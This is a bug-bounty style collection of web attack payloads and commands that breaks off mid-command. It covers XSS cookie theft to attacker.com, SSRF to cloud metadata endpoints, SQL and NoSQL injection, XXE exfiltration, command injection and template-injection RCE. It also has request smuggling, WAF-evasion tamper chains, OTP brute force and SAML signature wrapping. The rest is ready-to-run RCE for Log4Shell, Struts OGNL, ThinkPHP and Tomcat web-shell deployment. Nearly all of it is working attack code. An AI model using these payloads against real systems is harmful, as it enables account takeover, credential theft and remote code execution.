<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
"><script>alert(1)</script>
'><img src=x onerror=alert(1)>
javascript:alert(document.domain)

<script>document.location='https://attacker.com/c?c='+document.cookie</script>
<img src=x onerror="fetch('https://attacker.com?c='+document.cookie)">
<script>fetch('https://attacker.com?c='+btoa(document.cookie))</script>

// If unsafe-inline blocked — use fetch/XHR
<img src=x onerror="fetch('https://attacker.com?d='+btoa(document.cookie))">

// If script-src nonce present — find nonce reflection
<script nonce="NONCE_FROM_PAGE">alert(1)</script>

// Angular template injection (bypasses many CSPs)
{{constructor.constructor('alert(1)')()}}

// React dangerouslySetInnerHTML reflection
// Vue v-html binding

// mXSS (mutation-based XSS)
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

// Polyglot (works in HTML/JS/CSS context)
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>

// Sources (user-controlled input)
location.hash
location.search
location.href
document.referrer
window.name
document.URL

// Sinks (dangerous)
innerHTML = SOURCE
outerHTML = SOURCE
document.write(SOURCE)
eval(SOURCE)
setTimeout(SOURCE, ...)   // string form
setInterval(SOURCE, ...)
new Function(SOURCE)
element.src = SOURCE      // javascript: URI
element.href = SOURCE
location.href = SOURCE

# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/dynamic/instance-identity/document

# GCP
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Header: Metadata-Flavor: Google

# Azure IMDS
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Header: Metadata: true

http://localhost:6379      # Redis (unauthenticated, RESP protocol)
http://localhost:9200      # Elasticsearch (/_cat/indices)
http://localhost:27017     # MongoDB (binary — check for connection refused vs timeout)
http://localhost:8080      # Admin panel
http://localhost:2375      # Docker API — GET /containers/json
http://localhost:10.96.0.1:443  # Kubernetes API server

# All of these map to 127.0.0.1:
http://2130706433          # decimal
http://0177.0.0.1          # octal
http://0x7f.0x0.0x0.0x1   # hex
http://127.1               # short form
http://[::1]               # IPv6 loopback
http://[::ffff:127.0.0.1]  # IPv4-mapped IPv6
http://[::ffff:0x7f000001] # mixed hex IPv6

# DNS rebinding: A→external, then resolves to internal after allowlist check

# Redirect chain (Vercel pattern):
# If filter only checks initial URL but follows redirects:
http://allowed-domain.com/redirect?to=http://169.254.169.254/

'
''
`
')
'))
' OR '1'='1
' OR 1=1--
' OR 1=1#
' UNION SELECT NULL--
'; WAITFOR DELAY '0:0:5'--   -- MSSQL time-based
'; SELECT SLEEP(5)--          -- MySQL time-based
' OR SLEEP(5)--

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 'a',NULL,NULL--

# MySQL
' AND SLEEP(5)--
# PostgreSQL
' AND pg_sleep(5)--
# MSSQL
'; WAITFOR DELAY '0:0:5'--
# Oracle
' AND 1=dbms_pipe.receive_message('a',5)--

/*!50000 SELECT*/ * FROM users     -- MySQL inline comment
SE/**/LECT * FROM users             -- comment injection
SeLeCt * FrOm uSeRs                -- case variation
%27 OR %271%27=%271                 -- URL encoding
ʼ OR ʼ1ʼ=ʼ1                       -- Unicode apostrophe

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.burpcollaborator.net/xxe">]>
<foo>&xxe;</foo>

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % data SYSTEM "file:///etc/passwd">
  <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://attacker.com/?%data;'>">
  %param1;
]>
<foo>&exfil;</foo>

../../../etc/passwd
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd   # double URL encoding
/etc/passwd%00.jpg                     # null byte truncation
....\/....\/etc/passwd                 # mix of separators

# Change numeric ID
GET /api/user/123/profile → GET /api/user/124/profile

# Change UUID (find victim UUID via other endpoints)
GET /api/profile/a1b2c3d4-... → GET /api/profile/e5f6g7h8-...

# HTTP method swap
PUT /api/user/123 (protected) → DELETE /api/user/123 (not protected)

# Old API version
GET /v2/users/123 (protected) → GET /v1/users/123 (not protected)

# Add parameter
GET /api/orders → GET /api/orders?user_id=456

# Parameter pollution
POST /api/user/update
{"role": "admin"}
{"isAdmin": true}
{"admin": 1}

# Hidden fields
<input type="hidden" name="admin" value="true">
# Change in Burp before sending

# GraphQL introspection → find admin mutations
{"query": "{ __schema { types { name fields { name } } } }"}

# None algorithm
# Decode JWT, change alg to "none", remove signature
import base64, json
header = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).decode().rstrip('=')
payload = base64.b64encode(json.dumps({"sub":"1","role":"admin"}).encode()).decode().rstrip('=')
token = f"{header}.{payload}."

# Secret bruteforce
hashcat -a 0 -m 16500 jwt.txt ~/wordlists/rockyou.txt

# Missing PKCE test
GET /oauth2/auth?response_type=code&client_id=X&redirect_uri=Y&scope=Z
# No code_challenge → check if 302 (not error) = PKCE not enforced

# State parameter check
GET /oauth2/auth?response_type=code&client_id=X&redirect_uri=Y&scope=Z
# Missing/static state parameter = CSRF on OAuth = account linkage attack

{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
{"username": "admin", "password": {"$gt": ""}}
{"$where": "this.username == 'admin'"}
{"username": {"$in": ["admin", "root", "administrator"]}}

# URL parameter injection
/login?username[$ne]=null&password[$ne]=null
/login?username[$regex]=.*&password[$regex]=.*
/login?username=admin&password[$gt]=

# MongoDB operator reference:
# $ne = not equal (bypass: value != null = any value matches)
# $gt = greater than (bypass: "" < any string)
# $regex = regex match (bypass: .* = anything)
# $where = JS expression (RCE potential on older MongoDB)

curl -s -X POST https://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":{"$ne":null},"password":{"$ne":null}}'

# URL-encoded for GET forms:
# username%5B%24ne%5D=null&password%5B%24ne%5D=null

; id
| id
` id `
$(id)
&& id
|| id
; sleep 5
| sleep 5
$(sleep 5)
`sleep 5`

; curl https://attacker.burpcollaborator.net
; nslookup attacker.burpcollaborator.net
$(nslookup attacker.burpcollaborator.net)
`ping -c 1 attacker.burpcollaborator.net`
; wget https://attacker.com/$(id|base64)

# Bypass space filter
;{cat,/etc/passwd}
;cat${IFS}/etc/passwd
;cat$IFS/etc/passwd
;IFS=,;cat,/etc/passwd

# Bypass keyword filter (cat, id blocked)
# Obfuscate with quotes
;c'a't /etc/passwd
;c"a"t /etc/passwd
;$(printf '\x63\x61\x74') /etc/passwd

# Bypass via env
;$BASH -c 'id'
;${IFS}id

# Windows-specific
& dir
| type C:\Windows\win.ini
& ping -n 1 attacker.com

# File upload filenames
test.jpg; id
test$(id).jpg
test`id`.jpg
../test.jpg
../../../../../../etc/passwd

{{7*7}}        → 49 = Jinja2 (Python) or Twig (PHP)
${7*7}         → 49 = Freemarker (Java) or Spring EL
<%= 7*7 %>     → 49 = ERB (Ruby) or EJS (Node.js)
#{7*7}         → 49 = Mako (Python) or Pebble (Java)
*{7*7}         → 49 = Spring Thymeleaf
{{7*'7'}}      → 7777777 = Jinja2 (not Twig — Twig gives 49)
${"freemarker.template.utility.Execute"?new()("id")}  → Freemarker RCE

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].strip()}}

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}

${"freemarker.template.utility.Execute"?new()("id")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }

<%= `id` %>
<%= system("id") %>
<%= IO.popen('id').read %>

${T(java.lang.Runtime).getRuntime().exec('id')}
__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x

<%= process.mainModule.require('child_process').execSync('id') %>

Name/bio/username fields, email subject templates, invoice/PDF generators,
URL path parameters reflected in page, error messages, search query reflections,
HTTP headers that appear in rendered responses, notification templates

POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 3

8
SMUGGLED
0

# Obfuscate the TE header so one layer ignores it
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[
]Transfer-Encoding: chunked
Transfer-Encoding
: chunked

# In Burp Repeater, switch to HTTP/2
# Add Content-Length header manually (not auto-set by HTTP/2)
# Front-end ignores CL (HTTP/2 uses :content-length pseudo-header)
# Back-end uses CL → desync

1. Install HTTP Request Smuggler extension
2. Right-click request → Extensions → HTTP Request Smuggler → Smuggle probe
3. All four probe types automatically sent
4. ~10-second timeout on CL.TE probe = back-end waiting = CONFIRMED

Basic desync          → Capture victim's next request → Read their auth token
+ Admin user traffic  → Access admin as victim
+ Cache poisoning     → Stored XSS at scale for all users

# Certificate transparency (pre-WAF origin)
curl -s "https://crt.sh/?q=%25.$TARGET&output=json" | jq -r '.[].name_value' | sort -u

# Shodan — search by SSL cert subject
shodan search "ssl.cert.subject.cn:$TARGET"

# Historical DNS records
curl -s "https://viewdns.info/iphistory/?domain=$TARGET"

# Direct origin: bypass CF entirely
curl --resolve "$TARGET:443:<origin-ip>" "https://$TARGET/admin"

Got 403?
├── Run /bypass-403 <url>           (17 headers + 15 paths + 6 methods = 38 probes)
│   ├── Hit → escalate the endpoint (may be Security Misconfiguration finding)
│   └── No hit → continue below
├── Fingerprint WAF (in bypass_403.sh output or wafw00f)
│   ├── Cloudflare → origin IP discovery + TE+XFH trick
│   ├── AWS WAF   → /**/ comment split + oversized body
│   ├── Imperva   → unicode overlong + param pollution
│   └── F5        → double-slash path + strip TS cookie
├── Payload blocked? tools/waf_encoder.py "<payload>" --class sqli|xss
│   └── Try each variant until 200 response
├── Upload endpoint? tools/multipart_mutator.py --file shell --field f
│   └── Try all 10 parser-confusion variants
└── 5 min total, still blocked → kill (5-minute rule)

<script>+-+-1-+-+alert(1)+-+-</script>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(1)>
/?id=1+un/**/ion+sel/**/ect+1,2--

＜img src⁼p onerror⁼＇prompt⁽1⁾＇﹥
<!-- NFKD → <img src=p onerror='prompt(1)'> -->

<marquee onstart=pr۰mpt()>
<!-- ۰ = Persian digit zero = 'o' under some normalizers -->
<!-- decoded: pr0mpt() — WAF misses because it's not "prompt" -->

POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=ibm037

# Body encoded in IBM EBCDIC — WAF cannot read it, IIS decodes it

# Python: encode payload in ibm037 for the request body
import urllib.parse
payload = "username=admin&password=test' OR '1'='1"
encoded = payload.encode('ibm037')
# Send encoded bytes in POST body

# No Content-Type header — some WAFs skip inspection entirely
POST /api/endpoint HTTP/1.1
Host: target.com
# (omit Content-Type)

{"username": "admin' OR '1'='1"}

# Null byte between field name and colon — WAF JSON parser breaks
{"field1"\x00: "payload"}

# Quote replacement (null byte substituted for double quote)
{\x00field1\x00: "value"}

<!-- Extra chars at DOCTYPE closure — confuses WAF's parser -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]X>
<foo>&xxe;</foo>

<!-- UTF-16 encode the entire XML payload -->
<!-- iconv -f utf-8 -t utf-16 payload.xml > payload_utf16.xml -->
<!-- Header: Content-Type: text/xml; charset=utf-16 -->
<!-- WAF sees garbage bytes; XML parser decodes charset correctly -->

GET /admin HTTP/1.1
Host: target.com
Connection: X-Forwarded-For, Keep-Alive
X-Forwarded-For: legitimate-IP

Connection, Keep-Alive, Proxy-Authenticate, Proxy-Authorization,
TE, Trailer, Transfer-Encoding

Non-standard but often strippable:
Authorization, Cookie, X-Forwarded-For, X-Real-IP

# Node.js backend — NBSP bypass
curl $'https://target.com/admin\xA0'

# Spring Boot — semicolon separator
curl 'https://target.com/admin;'

# PHP-FPM — path info bypass
curl 'https://target.com/admin.php/index.php'

/foo%3f';alert(1);foo=         # %3f = ?, confuses path parser
/backup%2ebak                  # bypasses .bak extension block rule

/admin.anything               # matches /admin route (useSuffixPatternMatch=true)
/admin.json
/admin.html

/api/v1/login
/api/v2/login          # different version → different counter key
/api/v1/Login          # case variation
/api/v1/login/         # trailing slash
/api/v1/login%20       # URL-encoded space (decoded by backend, not by counter)
/api/v1/login?x=1     # added dummy parameter
/api/v1/login#anchor   # fragment (ignored by server, resets counter)

/reset-password?email=victim@test.com%00
/reset-password?email=victim@test.com%0d
/reset-password?email=victim%2b1@test.com    # Gmail ignores +alias
/reset-password?email=victim+abc@test.com    # Different string, same inbox

# HTTP/2 multiplexing — send 100+ requests in ONE TCP connection
# WAF/rate limiter counts per connection, not per stream
# Use Turbo Intruder in Burp (race conditions tab)
curl --http2-prior-knowledge -d @requests.txt https://target.com/api/otp

# WebSocket upgrade — after upgrade, each message bypasses per-HTTP-request counters
# Connect once, then flood WS messages through the single persistent connection

# GraphQL aliasing — one HTTP request = N mutation attempts
{
  attempt1: login(username: "admin", password: "pass1") { token }
  attempt2: login(username: "admin", password: "pass2") { token }
  attempt3: login(username: "admin", password: "pass3") { token }
  # ... up to 100+ aliases in one request
}

# gRPC bidirectional streaming — messages are not individual HTTP requests
# Rate limiter on HTTP layer doesn't see individual gRPC frames

Window reset attack: burst requests timed to arrive just after rate-limit window resets
  → effectively doubles throughput (burst before reset + burst after)

Slow HTTP: space requests just under detection threshold
  → ffuf -rate 1 -p 5   (1 req/s, 5s pause)

# Single tamper
sqlmap -u "https://target.com/page?id=1" --tamper=space2comment

# Multiple tampers (applied in order left to right)
sqlmap -u "https://target.com/page?id=1" \
  --tamper=between,bluecoat,charencode,randomcase,space2comment \
  --random-agent --delay=2 --level=5 --risk=3

# ModSecurity (OWASP CRS)
--tamper=modsecurityversioned,modsecurityzeroversioned,space2comment,randomcase

# Cloudflare (2025)
--tamper=space2comment,randomcase,charencode,between

# AWS WAF
--tamper=between,charencode,chardoubleencode

# Imperva
--tamper=randomcase,space2comment,equaltolike

# MySQL WAFs (general)
--tamper=between,bluecoat,charencode,charunicodeencode,equaltolike,greatest,
         halfversionedmorekeywords,versionedkeywords,versionedmorekeywords

# MSSQL WAFs (general)
--tamper=between,charencode,charunicodeencode,equaltolike,space2comment,
         space2dash,space2mssqlblank

# Unknown WAF (throw everything)
--tamper=apostrophemask,base64encode,between,chardoubleencode,charencode,
         equaltolike,greatest,multiplespaces,nonrecursivereplacement,
         percentage,randomcase,space2comment,space2plus,unionalltounion,unmagicquotes

# Rate control to avoid triggering rate-limit WAF rules
ffuf -u https://target.com/FUZZ -w wordlist.txt \
  -rate 50          \   # max 50 req/s
  -p 0.1-0.5        \   # random delay 100-500ms per request
  -t 10                 # threads (lower = stealthier)

# Header rotation for WAF bypass
ffuf -u https://target.com/FUZZ -w wordlist.txt \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1)" \
  -H "Referer: https://target.com/"

# Filter out WAF block responses by size/words
ffuf -u https://target.com/FUZZ -w wordlist.txt \
  -fc 403,429       \   # filter 403 and 429 status codes
  -fw 97            \   # filter responses with 97 words (WAF block page)
  -fs 512               # filter 512-byte responses (WAF block page size)

# 403 bypass: fuzz the X-Forwarded-For header with IP list
ffuf -u https://target.com/admin -w ips.txt \
  -H "X-Forwarded-For: FUZZ" -mc 200

wfuzz -z file,wordlist.txt \
  --hc 403,429 \
  -t 5 \                 # 5 threads (lower = less noisy)
  -s 0.5 \               # 0.5s delay between requests
  -H "X-Forwarded-For: 127.0.0.1" \
  https://target.com/FUZZ

# Multiple header injection for 403 bypass
wfuzz -z file,headers.txt -H "FUZZ" --hc 403 https://target.com/admin

# Rate limit WAF evasion
nuclei -u https://target.com \
  -rate-limit 10 \         # 10 req/s max
  -bulk-size 5 \           # 5 hosts per template batch
  -c 5 \                   # 5 concurrent templates
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "User-Agent: Mozilla/5.0"

# WAF detection first
nuclei -u https://target.com -t http/technologies/waf-detect.yaml

# Custom headers on all requests
nuclei -u https://target.com \
  -H "Referer: https://target.com/" \
  -H "X-Forwarded-For: 127.0.0.1"

// Test: subscribe to other user's channel
{"action": "subscribe", "channel": "user_VICTIM_ID_HERE"}
{"action": "get_history", "userId": "VICTIM_UUID"}
{"action": "getProfile", "id": 2}
{"action": "admin.listUsers"}
{"action": "admin.getToken", "userId": "1"}

<!-- Host on attacker site. If no Origin validation, steals victim's WS data. -->
<script>
var ws = new WebSocket('wss://target.com/ws');
// Browser automatically sends victim's cookies
ws.onopen = () => ws.send(JSON.stringify({action:"getProfile"}));
ws.onmessage = (e) => fetch('https://attacker.com/?d='+encodeURIComponent(e.data));
</script>

# Should reject non-target origins. If it doesn't = CSWSH vulnerability
wscat -c "wss://target.com/ws" -H "Origin: https://evil.com"
wscat -c "wss://target.com/ws" -H "Origin: null"
wscat -c "wss://target.com/ws" -H "Origin: https://target.com.evil.com"

// XSS in chat/notification system
{"message": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"}

// SQLi
{"action": "search", "query": "' OR 1=1--"}

// SSRF (if server fetches URLs from messages)
{"action": "preview", "url": "http://169.254.169.254/latest/meta-data/"}

# Try all 6-digit OTPs
ffuf -u "https://target.com/api/verify-otp" \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Cookie: session=YOUR_SESSION" \
  -d '{"otp":"FUZZ"}' \
  -w <(seq -w 000000 999999) \
  -fc 400,429 \
  -t 5

# Rate limit bypass: rotate session tokens between requests
# Or use GraphQL batching to send 100 attempts per request

1. Request OTP → receive "123456"
2. Submit OTP correctly → authenticated
3. Log out
4. Log in again
5. Submit same OTP "123456" (expired? still works?)
6. Try OTP from previous session at new login

Step 1: Enter wrong OTP → intercept response in Burp
Step 2: Change: {"success": false, "message": "Invalid OTP"} → {"success": true}
Step 3: Forward modified response → sometimes app trusts it and proceeds
Also try: change status code 401 → 200, or change redirect from /failed to /dashboard

import requests, time

# Some implementations use timestamp-based OTPs:
for t_offset in range(-30, 31):  # Test ±30 seconds
    totp_value = generate_totp(secret, time.time() + t_offset)
    r = requests.post("https://target.com/api/mfa", json={"otp": totp_value})
    if r.status_code == 200:
        print(f"VALID at offset {t_offset}s: {totp_value}")
        break

# Backup codes are typically 8-character alphanumeric = smaller space than 6-digit TOTP
# Try brute force on /api/verify-backup-code if no rate limit

# After entering username/password, you get a session cookie
# Test: skip the /mfa/verify step entirely, go directly to /dashboard
# If cookie grants access before MFA = auth flow bypass

# Also: complete MFA in one session, reuse cookie in another browser
# Checks whether MFA completion is tied to the specific session

import asyncio, aiohttp

# Race 2 MFA verifications simultaneously
# If both succeed = parallel session ATO
async def verify(session, otp):
    async with session.post("https://target.com/api/mfa/verify",
                            json={"otp": otp}) as r:
        return await r.json()

async def race():
    async with aiohttp.ClientSession(cookies={"session": "YOUR_SESSION"}) as s:
        results = await asyncio.gather(verify(s, "123456"), verify(s, "123456"))
        print(results)

asyncio.run(race())

<!-- Original valid assertion: -->
<saml:Assertion ID="legit">
  <NameID>user@company.com</NameID>
  <ds:Signature>VALID_SIGNATURE_OVER_legit</ds:Signature>
</saml:Assertion>

<!-- XSW: Inject malicious assertion before/after the signed one. -->
<!-- Server validates signature on #legit but processes #evil instead. -->
<saml:Response>
  <saml:Assertion ID="evil">
    <NameID>admin@company.com</NameID>     <!-- Attacker-controlled -->
  </saml:Assertion>
  <saml:Assertion ID="legit">              <!-- Original stays valid -->
    <NameID>user@company.com</NameID>
    <ds:Signature>VALID_SIGNATURE</ds:Signature>
  </saml:Assertion>
</saml:Response>

<!-- Original: user@company.com -->
<!-- Injected:  -->
<NameID>admin<!---->@company.com</NameID>
<!-- XML parsers strip comments: admin@company.com -->
<!-- SAML validator sees "user@company.com" (before comment) -->
<!-- Application uses "admin@company.com" (after comment stripped) -->

1. Capture SAMLResponse (base64 decode from browser)
2. Remove or modify the <Signature> element entirely
3. Change NameID to admin@company.com
4. Re-encode and submit
5. If server doesn't validate signature presence = admin login

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Response>
  <saml:Assertion>
    <NameID>&xxe;</NameID>
  </saml:Assertion>
</saml:Response>

# SAMLRaider (Burp extension) — most automated XSW testing
# Install from BApp Store, intercept SAMLResponse, right-click → SAML Raider

# Manual: decode, modify, re-encode
echo "BASE64_SAML_RESPONSE" | base64 -d | xmllint --format - > saml.xml
# Edit saml.xml
cat saml.xml | base64 -w0  # Re-encode

# Install: https://github.com/tomnomnom/gf
# Usage: cat urls.txt | gf PATTERN

gf xss          # XSS parameters
gf ssrf         # SSRF parameters
gf idor         # IDOR parameters
gf sqli         # SQL injection parameters
gf redirect     # Open redirect parameters
gf lfi          # Local file inclusion
gf rce          # Remote code execution parameters
gf ssti         # Template injection parameters
gf debug_logic  # Debug/logic parameters
gf secrets      # Secret/token patterns
gf upload-fields # File upload parameters
gf cors         # CORS-related parameters

Missing CSP / HSTS / X-Frame-Options / other security headers
Missing SPF / DKIM / DMARC
GraphQL introspection alone (no auth bypass, no IDOR)
Banner / version disclosure without a working CVE exploit
Clickjacking on non-sensitive pages (no sensitive action in PoC) — for working overlay PoC against sensitive action, see web2-vuln-classes **CSS Injection**
Tabnabbing
CSV injection (no actual code execution shown)
CORS wildcard (*) without credential exfil PoC
Logout CSRF
Self-XSS (only exploits own account)
Open redirect alone (no ATO chain, no OAuth code theft)
OAuth client_secret in mobile app (disclosed, expected)
SSRF with DNS callback only (no internal service access)
Host header injection alone (no password reset poisoning PoC)
Rate limit on non-critical forms (login page Cloudflare, search, contact)
Session not invalidated on logout
Concurrent sessions allowed
Internal IP address in error message
Mixed content (HTTP resources on HTTPS page)
SSL weak cipher suites
Missing HttpOnly / Secure cookie flags alone
Broken external links
Pre-account takeover (usually — requires very specific conditions)
Autocomplete on password fields

common.txt         # Common directories and files
params.txt         # Parameter names (id, user_id, file, etc.)
api-endpoints.txt  # API endpoint paths (/api/v1/users, etc.)
dirs.txt           # Directory names
sensitive.txt      # Sensitive paths (.env, config.json, backup, etc.)

# Sensitive files
/.env
/.git/config
/config.json
/credentials.json
/backup.sql
/dump.sql
/.DS_Store
/robots.txt
/sitemap.xml
/.well-known/security.txt

# Admin panels
/admin
/admin/login
/administrator
/wp-admin
/manager
/console
/dashboard
/panel

# API discovery
/api
/api/v1
/api/v2
/graphql
/graphiql
/swagger
/swagger-ui.html
/api-docs
/openapi.json
/v1
/v2

# Detection — enumerate exposed actuators (try both old and new base paths)
for p in env health info heapdump mappings configprops gateway threaddump beans; do
  for base in /actuator /; do
    curl -s -o /dev/null -w "%{http_code} ${base}${p}
" "https://target.com${base}${p}"
  done
done
# 200 on /actuator/env or /actuator/heapdump = lead

# Download the JVM heap snapshot, then grep live secrets out of it
curl -s "https://target.com/actuator/heapdump" -o heap.hprof   # often 50-500MB
strings heap.hprof | grep -iE 'password|secret|aws_|api[_-]?key|jdbc:|authorization|bearer ' | sort -u
# Heap routinely contains: DB creds, AWS access/secret keys, internal service URLs,
# Basic-Auth blobs, session tokens. Each extracted live credential = its own finding.

# 1. Point a property at an attacker-controlled XML/YAML to trigger remote bean load
curl -s "https://target.com/actuator/env" -X POST -H "Content-Type: application/json" \
  -d '{"name":"spring.cloud.bootstrap.location","value":"http://ATTACKER/x.yml"}'
# 2. /actuator/refresh re-reads it -> deserialization / SpEL -> RCE (eureka-client gadget classic)
curl -s "https://target.com/actuator/refresh" -X POST

# Detection — math eval differential. ${...} and #{...} are DIFFERENT engines, do not conflate them.
curl -s "https://target.com/path?x=%23%7B7*7%7D"        # #{7*7} -> 49 = TRUE SpEL (the RCE-capable sink)
curl -s "https://target.com/path?x=%24%7B7*7%7D"        # ${7*7} -> 49 = property-placeholder reflection ONLY (not full SpEL)

#{T(java.lang.Runtime).getRuntime().exec('id')}
#{T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","id"})}
#{T(org.springframework.cglib.core.ReflectUtils).defineClass(...)}            // bypass when Runtime blocked
// DNS-confirm RCE when no output reflection:
#{T(java.net.InetAddress).getByName('OUTPUT.attacker.oast.site')}

curl -s -o /dev/null -w "%{http_code}
" "https://target.com/actuator/gateway/routes"   # 200 = exposed

# 1. Add a route whose filter contains a SpEL payload
curl -s -X POST "https://target.com/actuator/gateway/routes/poc" \
  -H "Content-Type: application/json" -d '{
  "id":"poc","filters":[{"name":"AddResponseHeader","args":{
    "name":"Result",
    "value":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
  }}],"uri":"http://example.com"}'
# 2. Refresh to evaluate the SpEL, 3. hit the route to read output in the Result header, 4. delete route
curl -s -X POST "https://target.com/actuator/gateway/refresh"
curl -si "https://target.com/actuator/gateway/routes/poc" | grep -i Result
curl -s -X DELETE "https://target.com/actuator/gateway/routes/poc"

# Detection — OAST DNS/LDAP callback. Use interactsh-client / Burp Collaborator for OAST.
PAYLOAD='${jndi:ldap://${hostName}.OAST_ID.oast.site/a}'   # ${hostName} tags which host fired
curl -s "https://target.com/" \
  -H "User-Agent: $PAYLOAD" -H "X-Api-Version: $PAYLOAD" -H "Referer: $PAYLOAD"
# WAF-evasion variants if the literal is filtered:
# ${${::-j}ndi:${::-l}${::-d}${::-a}${::-p}://x.oast.site/a}
# ${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://x.oast.site/a}
# ${jndi:dns://x.oast.site/a}   (DNS-only — proves reachability even if LDAP egress is blocked)

# Detection — DNS probe via JdbcRowSetImpl (works <= 1.2.80 patterns; SafeMode off)
curl -s "https://target.com/api/x" -H "Content-Type: application/json" -d '{
  "@type":"com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName":"ldap://OAST_ID.oast.site/a",
  "autoCommit":true
}'
# OAST DNS hit = AutoType reachable. Jackson equivalent abuses polymorphic @class / enableDefaultTyping.

# JNDI-Exploit-Kit / rogue-jndi serves an LDAP/RMI ref that returns an RCE gadget
java -jar JNDIExploit.jar -i ATTACKER_IP
# dataSourceName -> ldap://ATTACKER_IP:1389/Basic/Command/base64/<payload>

# Detection + RCE in one shot (5.0.x) — reflected command output = confirmed
curl -s "https://target.com/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1" | grep -i 'php version'

# RCE — run a command (5.0.x)
curl -s "https://target.com/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id"

# 5.1.x variant (no index.php prefix needed; abuses filter/Request)
curl -s "https://target.com/?s=index/\think\Request/input&filter[]=system&data=id"
curl -s "https://target.com/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id"

# Detection — does the debug console exist?
curl -s "https://target.com/console" | grep -i 'pin\|werkzeug\|interactive'
# Trigger a traceback to confirm debug mode (any 500-inducing input)

# Leak the PIN ingredients via LFI:
#   username       -> /etc/passwd (the user running the app, e.g. www-data)
#   modname        -> usually 'flask.app'
#   appname        -> usually 'Flask'
#   app file path  -> .../site-packages/flask/app.py   (from the traceback)
#   MAC (decimal)  -> /sys/class/net/eth0/address  -> int(mac.replace(':',''),16)
#   machine-id     -> /etc/machine-id  (+ /proc/self/cgroup docker id if containerized)
# Feed all six into the public Werkzeug PIN algorithm, submit at /console -> Python REPL:
#   __import__('os').popen('id').read()

# Detection — default/weak manager creds (try the classic shortlist, throttle to respect rate limits)
for cred in tomcat:tomcat admin:admin tomcat:s3cret admin:tomcat manager:manager tomcat:admin; do
  curl -s -o /dev/null -w "$cred -> %{http_code}
" -u "$cred" "https://target.com/manager/text/list"
done   # 200 = authenticated to Manager

# Build a minimal WAR with a cmd JSP, then deploy via the text API
curl -s -u USER:PASS -T shell.war "https://target.com/manager/text/deploy?path=/poc&update=true"
curl -s "https://target.com/poc/shell.jsp?cmd=id"

curl -s -X PUT "https://target.com/poc.jsp/" --data-binary @shell.jsp   # trailing slash bypasses block
curl -s "https://target.com/poc.jsp?cmd=id"

# Detection + RCE (S2-045) — command output reflected in a custom header
curl -s -D - "https://target.com/index.action" \
  -H "Content-Type: %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#ct.setMemberAccess(#dm)).(#cmd='id').(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/bash','-c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

# Detection — is the auth-bypass view reachable? (override params force an unauthenticated screen render)
curl -sk "https://target.com/webtools/control/ViewBlogArticle?USERNAME=&PASSWORD=&requirePasswordChange=Y" -o /dev/null -w "%{http_code}
"
# CVE-2023-49070: legacy XML-RPC endpoint still mounted
curl -sk -o /dev/null -w "%{http_code}
